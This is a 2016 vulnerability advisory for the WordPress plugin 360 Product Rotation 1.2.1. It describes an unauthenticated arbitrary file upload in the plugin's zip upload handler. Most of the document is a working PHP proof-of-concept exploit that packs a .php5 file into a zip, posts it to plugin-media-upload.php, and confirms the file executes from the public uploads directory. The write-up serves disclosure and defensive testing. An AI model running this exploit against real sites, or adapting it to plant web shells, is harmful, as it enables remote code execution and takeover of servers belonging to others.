360 Product Rotation [Unauthenticated Arbitrary File Upload]
Description
Plugin 360 Product Rotation offers it’s user a convenient way to upload a series of images for their WooCommerce products, in order to create a 360° view. The script allows it’s users to pack these images in zip file. The problem occurs because the upload handler lack of security check or those that are implemented fail to protect the users.
Upload script is in file 360-product-rotation/includes/plugin-media-upload.php
,
file should a compressed zip file. If upload is successful the plugin
checks if there are any files in the archive with the following extensions:
[‘php’,’php3’,’py’,’sh’]. If no files with those extensions are in the
uploaded zip then all files are extracted in a dir under
wp-content/uploads/yofla360
directory. This dir is directly accessible
to anyone and the creation of sub-directories or filenames are easily guessable.
PoC
#!/usr/bin/env php
<?php
/*******************************************************************************
* 360 Product Rotation - Unauthenticated Arbitrary File Upload
*
* Author: Pan Vag <[email protected]>
* To install deps run `composer install`
******************************************************************************/
require_once 'vendor/autoload.php';
use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
$url = Config::get( 'url.base', null, true, 'Enter the site URL' );
if ( ! $url ) {
Cli::writeError( 'You must enter a valid URL' );
exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}
Cli::writeInfo('putting together files...');
$fileName = uniqid().'.php5';
$zipFileName = uniqid();
$zipFilePath = sys_get_temp_dir().'/'.$zipFileName;
$verifyString = uniqid();
$zip = new ZipArchive();
if($zip->open($zipFilePath, ZipArchive::CREATE)!== true){
ExitCodes::exitWithFailed('Unable to create zip file');
}
$zip->addFromString($fileName, "<?php echo '{$verifyString}';");
$zip->close();
Cli::writeInfo('Uploading the file...');
$uploadScriptUrl = Endpoint::pluginsURL().'/360-product-rotation/includes/plugin-media-upload.php';
$hooks = new \Requests_Hooks();
$hooks->register('curl.before_send', function($fp) use ($zipFileName, $zipFilePath) {
$payload = [
'--__FORM_BOUNDARY__',
'Content-Disposition: form-data; name="FileInput"; filename="' . $zipFileName . '"',
'Content-Type: application/zip',
'',
fread(fopen($zipFilePath, 'r'), filesize($zipFilePath)),
'',
'--__FORM_BOUNDARY__',
'',
];
curl_setopt($fp, CURLOPT_POSTFIELDS, implode(CRLF, $payload));
});
$r = Requests::post(
$uploadScriptUrl,
[ 'Content-Type' => 'multipart/form-data; boundary=__FORM_BOUNDARY__', 'X-Requested-With' => 'XMLHttpRequest' ],
[ ],
[ 'hooks' => $hooks ]
);
if(!$r->success || !empty($r->body) || $r->status_code != 200){
ExitCodes::exitWithFailed('Unable to upload file, maybe target is not exploitable or target path does not exists.');
}
Cli::writeSuccess('File uploaded, checking result...');
$uploadUrl = Endpoint::uploadsURL() . '/yofla360/' . $zipFileName . '/images/' . $fileName;
$r = Requests::get( $uploadUrl);
if($r->body!=$verifyString){
ExitCodes::exitWithFailed('Unable to validate uploaded file');
}
ExitCodes::exitWithSuccess( 'Script uploaded, url: ' . $uploadUrl);
- 27 June 2016
- Pan Vag
- www.yofla.com
- wordpress.org
- 1.2.1
- WordPress 4.5.2
- DWF-2016-87074